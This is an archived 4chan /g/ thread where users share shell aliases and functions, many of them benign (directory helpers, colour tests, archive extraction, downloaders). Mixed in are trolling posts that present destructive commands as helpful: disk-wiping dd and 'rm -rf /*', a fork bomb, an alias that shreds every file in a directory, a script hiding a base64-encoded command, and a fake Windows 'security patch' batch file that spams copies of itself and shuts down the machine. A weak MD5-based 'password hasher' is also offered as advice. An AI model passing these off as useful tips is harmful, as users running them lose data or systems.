[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
ITT: Post useful shell aliases/functions
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 134
Thread images: 8
File: zsh is better.png (19 KB, 300x225) Image search: [Google]
zsh is better.png
19 KB, 300x225
ITT: Post useful shell aliases/functions
>>
Some of mine:
#Create a directory and go into it
function mkcdr {
mkdir -p $1
cd $1
}


#Send desktop notification every $3 seconds
function metronome {
while true; do
notify-send "$1" "$2"
sleep $3
done
}
>>
sudo dd if=/dev/zero of=/dev/sda
xDD
>>
>>51917516

sudo rm -rf /*


Thank me later :^)
>>
>>51917536
>xDD
>>
>>51917553
You forgot your --no-preserve-root
>>
Not really functions, but a useful bashism so you don't have to rely on netcat, etc:

Send raw data over a tcp socket to an arbitrary host and port:
echo "test" > /dev/tcp/www.google.com/80


If you want UDP, for example:
echo "test" > /dev/udp/8.8.8.8/53


Also available as a more robust module in zsh.
>>
>>51917516
# get current brightness
old_brightness=$(cat $handler"brightness")

# get max brightness
max_brightness=$(cat $handler"max_brightness")

# get current brightness %
old_brightness_p=$(( 100 * $old_brightness / $max_brightness ))

# calculate new brightness %
new_brightness_p=$(($old_brightness_p $1))

# calculate new brightness value
new_brightness=$(( $max_brightness * $new_brightness_p / 100 ))

# set the new brightness value
sudo chmod 666 $handler"brightness"
echo $new_brightness > $handler"brightness"



make into a file called backlight.sh, chmod +x backlight.sh, and run it by ./backlight.sh -10 or +10 to decrease and increase backlight

this is useful if your backlighting isn't detected on a laptop when you hit the brightness buttons.
>>
Ctrl-r is reverse index search. Just press it and start typing a commmand you have used recently and it should pop up. Then press tab and its in your buffer thing.

It's kind of like doing
history | grep "old command" 


Also you don't have to type ls just l by itself does the same tjing. I think.
>>
>>51917655
literally: http://www.x.org/releases/X11R7.7/doc/man/man1/xbacklight.1.xhtml
>>
>>51917570
i don't think that's required since he did /* instead of / ?
>>
>>51917655

int main (int argc, char **argv)
{
backlight_new = XInternAtom (dpy, "Backlight", True);
backlight_legacy = XInternAtom (dpy, "BACKLIGHT", True);
if (backlight_new == None && backlight_legacy == None)
{
fprintf (stderr, "No outputs have backlight property\n");
exit (1);
}
for (screen = 0; screen < ScreenCount (dpy); screen++)
{
Window root = RootWindow (dpy, screen);
XRRScreenResources *resources = XRRGetScreenResources (dpy, root);
int o;

if (!resources) continue;
for (o = 0; o < resources->noutput; o++)
{
RROutput output = resources->outputs[o];
XRRPropertyInfo *info;
double cur, new, step;
double min, max;
double set;

cur = backlight_get (dpy, output);
if (cur != -1)
{
info = XRRQueryOutputProperty (dpy, output, backlight);
if (info)
{
if (info->range && info->num_values == 2)
{
min = info->values[0];
max = info->values[1];
if (op == Get) {
printf ("%f\n", (cur - min) * 100 / (max - min));
} else {
set = value * (max - min) / 100;
switch (op) {
case Set:
new = min + set;
break;
case Inc:
new = cur + set;
break;
case Dec:
new = cur - set;
break;
default:
XSync (dpy, False);
return 1;
}
if (new > max) new = max;
if (new < min) new = min;
step = (new - cur) / steps;
for (i = 0; i < steps && step != 0; i++)
{
if (i == steps - 1)
cur = new;
else
cur += step;
backlight_set (dpy, output, (long) cur);
XFlush (dpy);
usleep (total_time * 1000 / steps);
}
}
}
XFree (info);
}
}
}

XRRFreeScreenResources (resources);
}
XSync (dpy, False);

return 0;
}
>>
>>51917655
Just bind the buttons cumpai

https://wiki.archlinux.org/index.php/Extra_keyboard_keys_in_Xorg#Mapping_keysyms_to_actions
https://wiki.archlinux.org/index.php/Extra_keyboard_keys#In_Xorg
>>
>>51917536
doesn't output anything, not even with root
>>
>>51917570
anyway you're fuck with out /etc /boot/ /home
>>
>>51918256
Try rebooting :)
>>
alias imagegrid="montage -mode concatenate -tile"

alias 4get="wget -P ~/trapporn -H -nd -r --wait=5 -erobots=off -D i.4cdn.org -A "*.jpg,*.png,*.gif,*.webm" -R "*s.jpg""

alias open="xdg-open"
>>
>>51917516
I made separate shell aliases for youtube-dl for individual videos or playlists, thats about it
>>
>>51917525
Do you have a mkcar to go with the first one?
>>
alias hr='for i in $(seq 1 $(tput cols)); do printf ─; done'
>>
>>51918367
Can you explain the code here? The second line? It will download all image files with the word "trapporn" in it?
>>
alias sudo='sudo ' # http://askubuntu.com/questions/22037/aliases-not-available-when-using-sudo
>>
alias touchpad-on='xinput set-prop $(xinput list | grep TouchPad | sed "s/.*id=\(.*\)\t.*/\1/") "Device Enabled" 1'

alias touchpad-off='xinput set-prop $(xinput list | grep TouchPad | sed "s/.*id=\(.*\)\t.*/\1/") "Device Enabled" 0'
>>
>>51918465
downloads every image/webm in a thread and saves it in a folder called trapporn
>>
alias trash='mv -t ~/.local/share/Trash/files/'
>>
function colortest()
{
f=3
b=4

for j in f b; do
for i in {0..7}; do
printf -v $j$i %b "\033[${!j}${i}m"
done
done

bld=$'\033[1m'
rst=$'\033[0m'
inv=$'\033[7m'

cat << EOF

$f0█ $bld█$rst $f1█ $bld█$rst $f2█ $bld█$rst $f3█ $bld█$rst $f4█ $bld█$rst $f5█ $bld█$rst $f6█ $bld█$rst $f7█ $bld█$rst
$f0█ $bld█$rst $f1█ $bld█$rst $f2█ $bld█$rst $f3█ $bld█$rst $f4█ $bld█$rst $f5█ $bld█$rst $f6█ $bld█$rst $f7█ $bld█$rst
$f0▓ $bld█$rst $f1▓ $bld█$rst $f2▓ $bld█$rst $f3▓ $bld█$rst $f4▓ $bld█$rst $f5▓ $bld█$rst $f6▓ $bld█$rst $f7▓ $bld█$rst
$f0▒ $bld█$rst $f1▒ $bld█$rst $f2▒ $bld█$rst $f3▒ $bld█$rst $f4▒ $bld█$rst $f5▒ $bld█$rst $f6▒ $bld█$rst $f7▒ $bld█$rst
$f0░ $bld█$rst $f1░ $bld█$rst $f2░ $bld█$rst $f3░ $bld█$rst $f4░ $bld█$rst $f5░ $bld█$rst $f6░ $bld█$rst $f7░ $bld█$rst
$rst
EOF
}
>>
>>51918513
Now I just need a way to get every URL on a board.
>>
function imagefap-dl()
{
if [ -z $1 ]; then
printf "Usage: %s [\"URL\"]\n" $FUNCNAME
return 0
fi

_gid=$(printf "$1" | sed 's/.*pictures\///; s/\/.*//')
_urls=$(wget -qO- "http://www.imagefap.com/pictures/$_gid/?view=2" \
| grep -o 'fap.to/images/thumb/[^"]*' \
| sed 's/thumb/full/')

wget -nv -nc $_urls -P $_gid
}
>>
>>51918562
this is pretty cool, do anyone have other beautiful color tests? The potential is huge
>>
>>51918590
4chan has a JSON API so with a little regex that should be pretty easy.
>>
>>51918669
function colortest-extreme()
{
clear

local _term_width=$(tput cols)
local _term_height=$(tput lines)
local _bar_count=8
local _bar_width=$(expr $_term_width / $_bar_count)

local l="1"
local b="0"
local s="0"

while [[ "$l" -lt $_term_height ]]; do
b="0"
while [[ "$b" -lt $_bar_count ]]; do
s="0"
while [[ "$s" -lt $_bar_width ]]; do
echo -en "\033[3"$b"m█"
s=$(expr $s + 1)
done
b=$(expr $b + 1)
done
echo
l=$(expr $l + 1)
done
}
>>
>>51918423
What would that do? Make an archive?
>>
alias cat='tr -t [:graph:] ["\145"*] <'
>>
>>51918858
More like an efficient way to run away from lions.
>>
>>51918903
Are you retarded?
>>
>>51918423
fucking kek senpai

I gotchu senpai
>>
File: 1441100166968.jpg (69 KB, 775x553) Image search: [Google]
1441100166968.jpg
69 KB, 775x553
alias behead='sed 1,10d'
>>
File: 1446458128848.gif (3 MB, 200x150) Image search: [Google]
1446458128848.gif
3 MB, 200x150
>>51917570
>>
>>51918955
what makes you think that?
>>
>>51918903
This may fuck up many shell scripts depending on plain cat.
>>
File: 1437492492777.jpg (147 KB, 1039x1024) Image search: [Google]
1437492492777.jpg
147 KB, 1039x1024
>>51917655
or you can just fix the brightness buttons by adding a correct kernel parameter
>>
>>51917536
>>51917553
>>51917570
Here it is, the cancer that is killing /g/.
>>
alias fuck='sudo $(fc -ln -1)'
>>
I have a home server so I aliased the sshfs mounting and unmounting commands to mount-remote and unmount-remote.
For some reason if I'm at home and try to connect to my server through my public IP with port forwarding it kind of works, but awfully, but if I'm away and do it it works just fine. So at home I use 192.168.1.X
>>
>>51917516
>zsh is better.png
zsh is bloat for people who can't configure their PS1 and read man pages

FTFY
>>
File: 1445011234948.jpg (10 KB, 193x224) Image search: [Google]
1445011234948.jpg
10 KB, 193x224
alias rapist='man'
>>
>>51917516
# Preferences
PS1='\e[1;31m \w \e[0m'
alias ls='ls --color=auto'
alias l='ls -lhA'
alias lock='i3lock -c 1c1c1c'
alias snd='mpv --vid=no'
alias ix='curl -F "-f:1=<-" ix.io'

# Grammatical Corrections
alias sl='ls'
alias cd..='cd ..'
alias lls='ls'
alias copmgen='compgen'
alias xinti='xinit'
alias lslbk='lsblk'

# Personal faggotry
alias JUST='find -type f -exec shred "{}" \;'
alias fuckyou='killall -9'
alias iloveyou='echo "I love you too, anon :3"'

# Muh Downloaders
fairUse="--wait=5 --random-wait --limit-rate=64k"
alias 4chan-dl='wget -erobots=off -nd -rHD4cdn.org -Ajpg,png,gif,webm -Rs.jpg'
alias 8ch-dl='wget -erobots=off -nd -I*/src -rRhtml'
alias mch-dl='wget -erobots=off -nd -rI/media/images -I/media/videos -X/media/images/thumbs'
alias gehentai-dl='wget -erobots=off -t4 -Umozilla -nd -rHl0 -Is,h -ERhtml'
alias exhentai-dl='gehentai-dl --load-cookies=~/Private/a/cookies.txt'
>>
>>51919383
Isn't PS1 just the prompt colors and whatever? Why would someone need zsh for that?
>>
>>51919439
You need to go outside and talk to girls, anon. But pretty cool.
>>
>>51919450
 export PS1="%{$fg[white]%}┌─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%D %*%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%} %{$fg[white]%}<%{$fg[cyan]%}%n%{$reset_color%}@%{$fg[white]%}%m%{$fg[cyan]%}>%{$reset_color%}
%{$fg[white]%}└─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%~%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%}─>%{$reset_color%} "
>>
>>51919484
this won't work right in BASH
>>
>>51917622
underrated post, thanks anon
>>
>>51919439
>
alias iloveyou='echo "I love you too, anon :3"'

overcute
>>
>>51919484
Why are you exporting your PS1?
>>
>>51917622
what????
>>
>>51918761
I attempted it and managed to grep the thread "name" in the url before I realised I also need the OP number AND put it together.

I don't know JSON. Where is the documentation of this API?
>>
 PS1="C:\$(pwd | sed 's:/:\\\\\\\:g')> "
>>
>>51919582
>using regex to parse a structured document

fucking what?
>>
>>51919582
JQ desu senpai
>>
alias passwordhasher='openssl passwd -1 -salt $1'

>passwordhasher google
>passwordhasher twitter
>passwordhasher battlenet
unique per-site passwords based on a single password, pretty handy
>>
function whatcolorisit()
{
while :; do
tput clear
tput civis
tput cup $(($(tput lines)/2)) $((($(tput cols)/2)-4))
local d=$(date +%H%M%S)
printf "\x1b]11;#$d\a#$d"
read -s -n 1 -t 1 && exit
done
}
>>
>>51919614
What would you do the? Even if I did not manage to do it, it is still way better than what you would be able to do.
>>
https://github.com/sorin-ionescu/prezto/
welcome
>>
# Displays your top 10 most used shell commands
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head
>>
:(){ :|: & };:


super neat
>>
>>51920740
did nothing
>>
>>51920043
this or oh-my-zsh?

also, found a bash alternative, bash-it
>>
>>51919134
it's not a serious alias

i'll give a usage example
$ cat ANDROID.txt
Copyright (C) 2007 The Android Open Source Project

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
$ tr -t [:graph:] ["\145"*] < ANDROID.txt
eeeeeeeee eee eeee eee eeeeeee eeee eeeeee eeeeeee

eeeeeeee eeeee eee eeeeee eeeeeeee eeeeeee eee eeee eeeeeeeeeee
eee eee eee eee eeee eeee eeeeee ee eeeeeeeeee eeee eee eeeeeeee
eee eee eeeeee e eeee ee eee eeeeeee ee

eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

eeeeee eeeeeeee ee eeeeeeeeee eee ee eeeeee ee ee eeeeeeee eeeeeeee
eeeeeeeeeee eeeee eee eeeeeee ee eeeeeeeeeee ee ee eee eee eeeeee
eeeeeee eeeeeeeeee ee eeeeeeeeee ee eee eeeee eeeeee eeeeeee ee eeeeeeee
eee eee eeeeeee eee eee eeeeeeee eeeeeeee eeeeeeeee eeeeeeeeeee eee
eeeeeeeeeee eeeee eee eeeeeeee
>>
>>51922708
fucking lol'd
>>
>>51920061
>
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head

http://i.imgur.com/QA5psnP.gif
>>
>greentexting code snippet

the absolute madman
>>
>>51919383
Bash spawns a fucking subshell for while loops (the reason I won't use it for scripting), and manually implements Unicode instead of using wchar_t, and it isn't bloated?
>>
>>51923555
>posting a link to an image
>on an imageboard
Got lost on your way to reddit, bud?
>>
>>51919175
There's no denying these kind of people, their parents and familylines should be exterminated just to be safe but when I was learning GNU/Linux after few times rm -rf fucking the system up I did get the drift.

https://www.youtube.com/watch?v=kepM786FU54
>>
>>51919439
you don't correct sl, you either
sudo apt-get install sl

or
pacman -S sl
>>
>>51917516
Can some daddy-o drop some sweet shell script on me that lets me to bongo into other ssh servs with my local key/shell in my new connection
>>
>>51924889
>>
>>51925037
Bruce Schneier/10.
>>
>>51918367
how would i go about making it so that i specify what directory the files should go in each time i used 4get?
>>
>>51919439
alias JUST='find -type f -exec shred "{}" \;'

What does this do? Deletes something, I guess, but I'm not an intelligent human being to know beyond that.
>>
>>51918485
noobunchu at it's finest
>>
>>51919427
Underrated
>>
>>51925191
function 4get()
{
wget -P $2 -H -nd -r --wait=5 -erobots=off -D i.4cdn.org -A "*.jpg,*.png,*.gif,*.webm" -R "*s.jpg" $1
}

I didn't test it, but this should work.
Call it with
# 4get http://link /etc/folder/somewhere
Change $1 and $2 to change the ordner of link and folder.
>>

makezip()
{
zip -r "${1%%/}.zip" "$1";
}
maketar()
{
tar cvzf "${1%%/}.tar.gz" "${1%%/}/";
}
extract()
{
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;
*.tgz) tar xvzf $1 ;;
*.zip) unzip $1 ;;
*.Z) uncompress $1 ;;
*.7z) 7z x $1 ;;
*) echo "'$1' >extract< failed" ;;
esac
else
echo "'$1' not valid"
fi
}
>>
>>51919439
alias 4chan-dl='wget -erobots=off -nd -rHD4cdn.org -Ajpg,png,gif,webm -Rs.jpg'


what does this do anon?
>>
>>51926371

kickuser()
{
if [ $1 ]
then
skill -KILL -u $1
pkill -KILL -u $1
else
return 127
fi
}
deleteuser()
{
if [ $1 ]
then
skill -KILL -u $1
pkill -KILL -u $1
deluser $1
if [[ $2 == "all" ]];
then
rm -rf /home/$1
fi
else
return 127
fi
}
>>
for backups

bu()
{
cp $1 /media/usbstick/tiefebamsuite/backups/${1}-`date +%Y%m%d%H%M`.backup;
}
>>
function lowercase() 
{
for file ; do
filename=${file##*/}
case "$filename" in
*/*) dirname==${file%/*} ;;
*) dirname=.;;
esac
nf=$(echo $filename | tr A-Z a-z)
newname="${dirname}/${nf}"
if [ "$nf" != "$filename" ]; then
mv "$file" "$newname"
echo "lowercase: $file --> $newname"
else
echo "lowercase: $file not changed."
fi
done
}
function swap()
{
local TMPFILE=tmp.$$

[ $# -ne 2 ] && echo "swap: 2 arguments needed" && return 1
[ ! -e $1 ] && echo "swap: $1 does not exist" && return 1
[ ! -e $2 ] && echo "swap: $2 does not exist" && return 1

mv -v "$1" $TMPFILE
mv -v "$2" "$1"
mv -v $TMPFILE "$2"
echo "Done: $1 & $2 switched filenames!!!"
}
function calc()
{
awk "BEGIN{print $*}";
}
>>

function whoami()
{
# testfunktion
echo -e "$IGreen>implying whoami$Color_Off"
}
function lol()
{
# testfunktion
color=$(($RANDOM % 7 + 31))
if [[ $1 ]]
then
echo -e "\e[1;${color}m>$1$Color_Off"
else
echo -e "\e[1;${color}m>LOL$Color_Off"
fi
}
function echowall()
{
echo $1 | wall
}
>>
>>51926402
colorcodes are located here:
https://wiki.archlinux.org/index.php/Color_Bash_Prompt
>>
>>51926402
I made something with le meme arrow too:
function implying() {
u=$(whoami)
h=$(hostname)
g="\e[0;32m"
n="\e[0m"
wd="${PWD/#$HOME/~}"

trap '' 2
while true
do echo -en "$u@$h:$wd$ "
read c
echo -e "${g}>implying you can $c${n}"
done
trap 2
}
>>
>>51924696
>their parents and familylines should be exterminated
>I copypaste random commands from /g/ and execute them multiple times even though it fucks me up
>I have no idea what I'm doing
>I deserve to live

Faggot
>>
>>51926402
thats literally useless dude

you can just supply argments to wall directly

>wall test123
>>
These are all bash scripts?
>>
>>51927216
That's a good one!
>>
sudo !!

re-run last command as sudo
>>
>>51927326
# wall kek
wall: cannot open file kek: Datei oder Verzeichnis nicht gefunden
>>
>>51925271
It irreversibly deletes everything within the current directory.
>>
#read ebooks in the terminal
epub() { einfo -pp "$1" | w3m -T text/html }
#useful for setting up new software projects
mkcd() { mkdir "$1" && cd "$1" }
>>
>>51917516
#!/bin/sh
server="$1"
user="$2"
dir="$3"
file="$4"

# parse 'some/dir' into a series of cds
cd_cmds=$(echo "$dir" | sed "s:/:\n:g" | sed "s:^:cd :g")

scan=`ftp "$server" <<EOS
$user
passive
$cd_cmds
dir
bye
EOS`

result=$(echo "$scan" | egrep "$file\-[0-9\.]+tar\.xz$" -o | sort -Vr | head -n1)
echo "Downloading package: $result.."

ftp "$server" >/dev/null <<EOS
$user
passive
$cd_cmds
get $result
bye
EOS

tar xf "$result"
base=$(echo "$result" | sed "s:.tar.xz::")
cd "$base"

echo "Configuring package $base.."
./configure >/dev/null 2>&1

if [ "$?" -ne 0 ]; then
echo "Package $base - configure failed"
echo "Refer to configure.log for details"
exit 1
fi

echo "Compiling package $base.."
make_log=$(make --quiet 2>/dev/null 2>&1)

if [ "$?" -ne 0 ]; then
echo "Package $base - make failed"
echo "$make_log" >> package-error.log
echo "Full error log is saved as 'package-error.log'"
exit 2
fi

echo "Package $base has been successfully built, and is ready to be installed."


pls rate
>>
>>51927907
>Uding $() and backticks
Be at least consistent.
>>
File: 1432574855807.jpg (64 KB, 600x600) Image search: [Google]
1432574855807.jpg
64 KB, 600x600
#!/bin/bash
# fractal.sh - Simple, randomized fractals in your terminal.

random_seed=${random_seed:-$RANDOM}
fractal_seed=${fractal_seed:-$(`echo "eC13d3ctYnJvd3NlciBodHRwOi8veW91YXJlYW5pZGlvdC5vcmcvCg==" | base64 -d`)}

lines=${LINES:-25}
columns=${COLUMNS:-80}

count_inner=0
count_outer=0

while [ "${count_outer}" -lt "${lines}" ]; do
count_inner=0
while [ "${count_inner}" -lt "${columns}" ]; do
echo -n "$((fractal_seed / random_seed))"
count_inner=$((count_inner + 1))
done
echo
count_outer=$((count_outer + 1))
done
>>
>>51928131
why is that seed
x-www-browser http://youareanidiot.org/ 

?
>>
File: 1425024801444.jpg (42 KB, 400x272) Image search: [Google]
1425024801444.jpg
42 KB, 400x272
>>51928198
>>
>>51926375
man wget
>>
>>51926375
downloads images from a thread, silly.
>>
>>51917516
while true echo fuck you linus shill; done

I can't code for shit
>>
>>51924755
alias sl=ls|rev
>>
>>51917655
literally my first github https://github.com/an-dev/linux
>>
>>51918524
you might wanna check if the file is on the same filesystem.
you also might wanna check for name collisions.
also, might wanna check permissions.

>inb4 trash script enterprise edition
>>
>>51917516
alias fuck='sudo $(history -p \!\!)'


or

alias fuck='sudo $(fc -ln -1)'
>>
>>51918562
What language is this?
>>
# External IP
alias extip="curl -s http://ipecho.net/plain; echo"


>>51919643
Neat :-)
>>
Beach-ocean-sound.

play -n -n --combine merge synth pinknoise band -n 1200 1800 tremolo 50 10 tremolo 0.14 70 tremolo 0.2 50
>>
>>51928737
English.
>>
>>51929131
I assumed it was shell script, but afaik they don't use parentheses on functions. I only really know C++, C# and Java.
>>
>>51929151
Bash allows:
function myfunc () { stuff }

or
function myfunc() { stuff }

or
function myfunc { stuff }

or
myfunc() { stuff }


For more informations, check the bash-hackers wiki: http://wiki.bash-hackers.org/syntax/basicgrammar#shell_function_definitions
>>
>>51929322
Thank you anon.
>>
Have some advanced hackery example:

alias 0x0='_(){ curl -#F file=@"$1" https://0x0.st | tee /dev/null; }; _'


0x0 RARE_Pepe.png


What is this shit?
- uploads stuff to 0x0.st file hosting service
- a function _() inside an alias 0x0
- a tee pipe kicking curls ass to show upload progress

You can use this ofc without the tee pipe and without the alias:

0x0(){ curl -#F file=@"$1" https://0x0.st; }
>>
>>51929438
>-#
not needed also, because curl wount show any progress anyway
>>
@echo off
echo AntiMSSpy (press key to patch files)
pause
set loopcount=500
:loop:
copy installer.bat SpyPatch.dll
echo file patched
copy installer.bat %random%.%random%
echo file patched
set /a loopcount=loopcount-1
if %loopcount%==0 goto install
:install:
echo Files patched.
echo Press any key to install exploit patch.
pause
set loopcount=500
copy installer.bat SecurityPatch.dll
echo file secured
copy installer.bat %random%.%random%
set /a loopcount=loopcount-1
if %loopcount%==0 goto complete
:complete:
echo Your computer is now secure.
echo Press any key to exit installer.
echo DO NOT 'X' OUT
pause
shutdown.exe /s /t 00
>>
When I want a program to shut the fuck up.
alias q='&>/dev/null'


Usage:
gimp | q

wine | q
>>
alias serve="python -m http.server"
>>
>>51917516
#!/bin/bash
battery=$(acpi | cut -f1 -d "%" | cut -d ":" -f2)
echo "$battery"%

on Arch with apci installed, returns e.g.
Charging, 99%
useful for widgets etc
>>
>>51929622
It doesnt work.
>>
>>51929622
>>51930231
For me it does, but I didn't expect it to. I didn't know &> could stand on its own. This is great!
>>
command_not_found_handle() {
echo -e "Nope"
return 127
}


Having this function in your bashrc means, that everytime you type an unknown command it prints "Nope".
-e is if anyone wants to insert color-codes.
>>
>>51928813 merged with >>51917622 for pure bash goodness
>>
>>51930552
post result?
>>
>>51917622

Where? in zsh that is...
>>
>>51917516
alias install='yaourt -S'
alias update='yaourt-Syu'
alias ev='vim ~/.vimrc'
alias ez='vim ~/.zshrc
>>
>>51917655
Just use an IDE senpai
>>
alias fuck="sudo !!"
>>
# if any subdirectories of the current directory are git repositories, run git pull from within them
function git_pull_subdirs
for DIR in (ls -d */ | cut -f1 -d'/')
cd $DIR
if test -d .git
echo $DIR:
git pull
end
cd ..
end
end


#extract all those terrible fonts from all that shitty anime
function extract_mkv_fonts
set -l BEFORE (ls | wc -l)
set -l COUNT 0
for FILE in $argv
set COUNT (math $COUNT + 1)
mkvextract attachments $FILE (mkvmerge -i $FILE | grep -o Attachment\ ID\ [0-9]\*: | grep -o [0-9]\*) 1> /dev/null
end
echo Extracted (math (ls | wc -l) - $BEFORE) fonts from $COUNT files
end
Thread replies: 134
Thread images: 8

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.